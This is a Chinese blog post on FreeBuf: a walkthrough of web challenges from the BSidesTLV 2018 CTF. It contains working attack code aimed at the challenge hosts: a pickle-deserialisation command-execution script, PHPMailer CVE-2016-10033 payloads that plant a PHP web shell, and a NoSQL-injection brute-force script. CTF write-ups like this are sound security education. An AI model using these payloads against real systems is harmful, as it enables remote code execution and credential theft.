freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

BSidesTLV 2018 CTF WriteUp(附CTF环境)
zusheng 2018-10-09 10:00:25 720026
所属地 安徽省

base.png

0x01 前言

BSidesTLV 2018 CTF是2018年6月19日的一次CTF比赛,本来这个WriteUp早就想写了,但是比赛结束没环境复现,直到最近发现官方居然放出了比赛环境。

CTF比赛环境下载:

magnet:?xt=urn:btih:849BC74CE4939E40D244F899D693F55AFB1D2FE7

格式:Virtual Machine (Virtualbox - OVA)
系统:Linux

CTFD用户账户    user:user
CTFD Admin 账户    bsidestlv:bsidestlv
Boot2Docker SSH:    docker:tcuser

0x02 WriteUp

Redirect me

题目地址:http://challenges.bsidestlv.com:8081

1538104911_5bad9e4fb0072.png!small

打开地址我们可以发现页面在重定向

1538104916_5bad9e54ea8e2.png!small

1538104920_5bad9e5869207.png!small

我们查看响应内容没有发现有价值的线索,只知道它一直在重定向,这时我们注意到18.html,那么flag会不会还在后面呢,我们修改一下。发现果然继续重定向到37.html,最终在40.html发现了线索。

1538104926_5bad9e5ecd51a.png!small

查看response内容得到FLAG

1538104930_5bad9e629ac81.png!small

IH8emacs

题目地址:http://challenges.bsidestlv.com:8443

打开题目地址我们可以看到非常华丽的网站

1538104936_5bad9e681ebcb.png!small

从题目的名称和描述来看,应该是要先寻找emacs创建的备份文件。Emacs,著名的集成开发环境和文本编辑器。当使用emacs编辑文件时,它会在名称的末尾创建一个带有波浪号的备份。

1538104942_5bad9e6e74531.png!small

我们来尝试首页有没有备份文件

http://challenges.bsidestlv.com:8443/index.php~

1538104948_5bad9e74b9ff1.png!small

我们找到了一段被注释的代码,往下面翻,发现了被注释的管理界面地址。

1538104953_5bad9e79b37bb.png!small

http://challenges.bsidestlv.com:8443/administration/

访问该页面,发现需要登录。

1538104958_5bad9e7e3883a.png!small

我们可能需要去寻找登录凭证

.htaccess~
.htpasswd~

在.htpasswd~中发现登录凭证

1538104963_5bad9e838d7d5.png!small

使用john破解hash

1538104969_5bad9e89480f8.png!small

bsidestlv:performa

复制粘贴破解少了个bs,不影响结果,加上就好了。最终登录得到FLAG

1538104974_5bad9e8e5f472.png!small

Creative Agency

题目地址:http://challenges.bsidestlv.com:3333

描述直接给了flag绝对路径

1538104981_5bad9e9525c16.png!small

在浏览网站中我们发现了图像的加载很奇怪

1538104986_5bad9e9a7553e.png!small

/img?file=ƃdɾ˙1punoɹƃʞɔɐq/ƃɯı/˙

1538104992_5bad9ea029062.png!small

加上描述给我们的绝对路径,这应该是一个任意文件读取漏洞,但是我们需要了解file参数的路径规律。

1538104997_5bad9ea56b22f.png!small

ƃdɾ˙2ʞɹoʍ/ƃɯı/˙
如果我们倒过来看
./img/work2.jpg

那我们怎么来颠倒路径呢,为此我收集了网站上的url路径。

ƃdɾ˙1punoɹƃʞɔɐq/ƃɯı/˙    //background
ƃdɾ˙1ʇnoqɐ/ƃɯı/˙    //about
ƃdɾ˙1osɹǝd/ƃɯı/˙    //perso
ƃdɾ˙1ɯɐǝʇ/ƃɯı/˙        //team
ƃdɾ˙1ƃoʃq/ƃɯı/˙        //blog
ƃud˙ʇʃɐ-oƃoʃ/ƃɯı    //logo-alt
ƃdɾ˙ʇsod-ƃoʃq/ƃɯı/˙    //blog-post
ƃdɾ˙ɹoɥʇnɐ/ƃɯı/˙    //author

/home/bsidestlv/flag.txt

ʇxʇ˙ƃɐʃɟ/ʌʃʇsǝpısq/ǝɯoɥ/˙˙

这是一件耗费时间的活

1538105004_5bad9eac5dec9.png!small

I'm Pickle Rick!

题目地址:http://challenges.bsidestlv.com:8088

访问题目地址

1538105012_5bad9eb49335b.png!small

查看源代码,我们发现一段有趣的脚本

<script>
    var members;

    function pickleRick() {
        $('.pickleimg').fadeIn(1000);
        anatomyParkMembers("morty");
    }

    function anatomyParkMembers(visitor) {
        var url = "/getMembers.html";
        if (visitor) {
            url += "?visitor=" + visitor
        }
        $.get(url, function (data) {
            $(".result").html(data);
            localStorage.setItem("anatomyParkMembers", data);
        });
    }

    function statusAnatomyParkMembers() {
        if (localStorage.getItem("anatomyParkMembers") === null) {
            return false;
        }
        // DEFLATE
        $.getJSON("/statusMembers.html?data=" + localStorage.getItem("anatomyParkMembers"), {
            format: "json"
        }).done(function (data) {
            members = data;
        });
    }
</script>
<script>
    $(document).ready(function () {
        if (localStorage.getItem("anatomyParkMembers") === null) {
            anatomyParkMembers();
        }
        setInterval(function () {
            statusAnatomyParkMembers();
        }, 10000);
    });
</script>

背景视频

<video id="myVideo" autoplay muted style="width: 100%" onended="pickleRick();">
<source src="/static/Untitled.mp4" type="video/mp4">
Your browser does not support the video tag.
</video>

看起来很乱,我们先来理一下网站运行流程:

首先网站运行背景视频,当视频运行结束后执行onended属性的pickleRick()函数

pickleRick()函数继续调用anatomyParkMembers()函数,并传入参数morty

anatomyParkMembers()函数拼接了URL
/getMembers.html?visitor=morty
然后发送了一个GET请求到/getMembers.html?visitor=morty

调用函数statusAnatomyParkMembers()
我们访问/getMembers.html?visitor=morty得到结果
eNrTSCkw5ApWL8sszizJLypW5yow4tLIKTDmCsvNLyqp5Cow4UosDlZPzS3Iya9MTQUpMAUpMANqCipNSs0DCphzJQarO%2BblZaYCORYgTkB%2BXnJGPpBnCeIF5aenFgE5hgZghTk5YF2GhkCT9QDJ4iXE

最终调用statusAnatomyParkMembers()函数后请求如下:

1538105022_5bad9ebe35bf8.png!small

这样运行流程就很清楚了

访问 /getMembers.html 将变量visitor内容添加到json数组中,以某种方式处理返回了结果。

访问 /statusMembers.html?data= 获取打包数据并解压缩返回json

查看每个步骤数据包头,我们可以发现使用了gzip, deflate

我们尝试打包命令发送给/statusMembers.html?data=看看会发生什么

import zlib
import requests
import base64

def create_command(cmd, args, flags):
    mould = """csubprocess
check_output
(((S'{0}'
S'{1}'
S'{2}'
ltR."""
    return base64.b64encode(zlib.compress(mould.format(cmd, args, flags), 9))

targeturl = 'http://challenges.bsidestlv.com:8088/statusMembers.html?data={0}&format=json'
r = requests.get(targeturl.format(create_command('ls', '../', '-l')))
print '\n'.join(r.text[1:-1].split('\\n'))

1538105032_5bad9ec81143b.png!small

继续使用cat命令读取一下flag.txt

r = requests.get(targeturl.format(create_command('cat', '../flag.txt', '-A')))

1538105038_5bad9ece0fd7a.png!small

ContactUs

题目地址:http://challenges.bsidestlv.com:8080

访问题目地址

1538105043_5bad9ed3423d2.png!small

通过题目标题可以猜测关键点应该在Contact Us功能处,PHP网站+可能发送邮件的功能

1538105049_5bad9ed9782f9.png!small

我们尝试发送邮件

1538105054_5bad9eded15f5.png!small

猜测是CVE-2016-10033,也就是PHPMailer < 5.2.18 远程代码执行漏洞

Name: zusheng
Email: "zusheng\" -oQ/tmp/ -X/var/www/cache/phpcode.php  is"@qq.com
Message: <?php phpinfo(); ?>

返回内容:
You are so close! please change the backdoor location to: /var/www/html/cache/d246b1e461bf.php

1538105061_5bad9ee5832f5.png!small

我们来修改一下

Name: zusheng
Email: "zusheng\" -oQ/tmp/ -X/var/www/html/cache/d246b1e461bf.php  is"@qq.com
Message: <?php echo exec('cat $(find / -name flag.txt)'); ?>

提交后我们需要等待一段时间,然后我们就可以访问/cache/d246b1e461bf.php拿到flag

1538105066_5bad9eead9c88.png!small

NoSocket

题目地址:http://challenges.bsidestlv.com:8030/login

打开题目

1538105071_5bad9eefe8eb8.png!small

查看源代码

<script>
    var ws;
    var url = 'ws://' + location.hostname + ':8000/login';
    function openSocket() {
        ws = new WebSocket(url);
        ws.binaryType = 'arraybuffer'; // default is 'blob'


        ws.onopen = function() {
            console.log('open');
        };

        ws.onclose = function() {
            console.log('close');
        };

        ws.onmessage = function(e) {
            if (e.data instanceof ArrayBuffer) {
                log(decodeCharCode(new Uint8Array(e.data)));
            } else {
                log(e.data);
            }
        };

        ws.onerror = function() {
            log('error');
            closeSocket();
        };
    }

    function closeSocket() {
        log('closing');
        ws.close();
    }

    function login() {
        var data = {};  // <- initialize an object, not an array
        data["username"] = document.getElementById('username').value;
        data["password"] = document.getElementById('password').value;
        val = JSON.stringify(data); // {"username":"admin", "password": "admin"}
        // {"$where": "this.username == '" + username + "' && this.password == '" + password + "'"}
        ws.send(val);
    }


    function decodeCharCode(data) {
        var res = '';
        for (var i = 0, len = data.length; i < len; i++) {
            var value = data[i];
            res += String.fromCharCode(value);
        }

        return res;
    }

    function log(message) {
        alert(message)
    }

    openSocket()
</script>

我们可以看到他的验证方式,使用admin为用户名,我们尝试

admin
' || 1 == '1

1538105081_5bad9ef9c8b72.png!small

弹出Success!表明成功啦,题目描述提示我们password就是flag,所以我们需要知道password到底是多少而不是绕过验证。

admin
' || this.password[0] == 'B

猜测password第一个字符是不是B

1538105087_5bad9effbb8b7.png!small

我们知道所有flag的格式是BSidesTLV{},那么接下来就很简单了

import string
from websocket import create_connection

def datachar(i):
    for char in string.printable:
        password = "' || this.password[%d] == '%s" % (i, char)
        data = "{\"username\":\"admin\", \"password\": \"%s\"}" % password
        ws.send(data)
        response = ws.recv()
        if "Success!" in response:
            return char

ws = create_connection("ws://challenges.bsidestlv.com:8000/login")
response = ""
for i in range(10, 30):
    if datachar(i) is None:
        break
    response += datachar(i)
    print response

print    'Flag: BSidesTLV{' + response
ws.close()

运行结果:

1538105095_5bad9f07201c1.png!small

0x03 总结

BSidesTLV 2018 CTF题目量真的不少,自己再写一遍WriteUp感觉收获挺多,文章针对题目讲解应该还是比较详细,所以篇幅过长啦,WriteUp都是web题,本人水平有限,如有不足或者文章有描述错误的还请指出,谢谢。

*本文作者:zusheng,转载请注明来自FreeBuf.COM

# CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 zusheng 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
zusheng LV.6
这家伙太懒了,还未填写个人描述!
  • 8 文章数
  • 18 关注者
Linux Restricted Shell绕过技巧总结
2018-11-15
命令执行WAF绕过技巧总结
2018-10-02
Windows漏洞利用开发教程Part 5:返回导向编程(ROP)
2018-06-02
文章目录